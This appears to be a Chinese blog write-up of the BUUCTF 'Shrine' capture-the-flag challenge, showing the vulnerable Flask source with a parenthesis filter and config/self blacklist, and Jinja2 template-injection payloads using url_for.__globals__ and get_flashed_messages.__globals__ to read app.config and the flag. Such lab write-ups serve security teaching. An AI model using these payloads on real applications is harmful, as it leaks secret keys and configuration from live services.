BuuCtf-Shrine(SSTI)

BuuCtf-Shrine(SSTI)

前置知识

在 Python 中,每个函数都有一个 __globals__ 属性,它是一个字典,包含了函数定义时所在模块的全局变量。这个属性通常用于内部实现和调试,而不是在日常编程中直接使用。

Flask 中的特有变量及函数

config
  config 对象就是Flask的config对象,也就是 app.config 对象
request
  Flask中代表当前请求的request对象
session
  Flask的session对象
url_for()
  url_for会根据传入的路由器函数名,返回该路由对应的URL,在模板中始终使用url_for()就可以安全的修改路由绑定的URL,则不比担心模板中渲染出错的链接
get_flashed_messages()
  这个函数会返回之前在flask中通过flask()传入的消息的列表,flash函数的作用很简单,可以把由Python字符串表示的消息加入一个消息队列中,再使用get_flashed_message()函数取出它们并消费掉

源代码分析

import flask
import os

app = flask.Flask(__name__) 

# flag存储在app对象的FLAG中,取值来自于全局变量
# 直觉:要不直接获取app/要不直接获取app.config
app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()

# 通过url传参
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    # 过滤
    def safe_jinja(s):
        # 过滤()
        s = s.replace('(', '').replace(')', '')
        # 设置黑名单,禁止config/self
        blacklist = ['config', 'self']
        # 将config、self关键字直接置为None
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    # 进行渲染
    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

判断SSTI

在url中写入:

http://6e81d5a1-0289-450d-b549-9df114e12582.node5.buuoj.cn:81/shrine/{{2*2}}

发现页面显示了执行的结果:
img

判断存在SSTI漏洞

方法1-url_for()

寻找app对象

url_for()函数定义在flask的全局命名空间中,因此通过url_for.__globals__,可以得到该全局命名空间中的所有全局变量(因为app对象是在全局命名空间中)。

http://6e81d5a1-0289-450d-b549-9df114e12582.node5.buuoj.cn:81/shrine/{{url_for.__globals__}}

img

查看该内容可以发现app对象。

查看app对象

访问app对象,查看其内容。

http://6e81d5a1-0289-450d-b549-9df114e12582.node5.buuoj.cn:81/shrine/{{url_for.__globals__['current_app']}}

img
发现确实是app对象。

查看config属性

http://6e81d5a1-0289-450d-b549-9df114e12582.node5.buuoj.cn:81/shrine/{{url_for.__globals__['current_app'].config}}

img
发现很多属性,其中存在flag属性,获取flag即可。

方法2-get_flashed_messages()

这个方法也是定义在flask的全局命名空间中,因此做法跟url_for()是一样的。这里不再赘述,给出payload。

payload:

http://6e81d5a1-0289-450d-b549-9df114e12582.node5.buuoj.cn:81/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

参考链接

posted @   夏目^_^  阅读(54)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示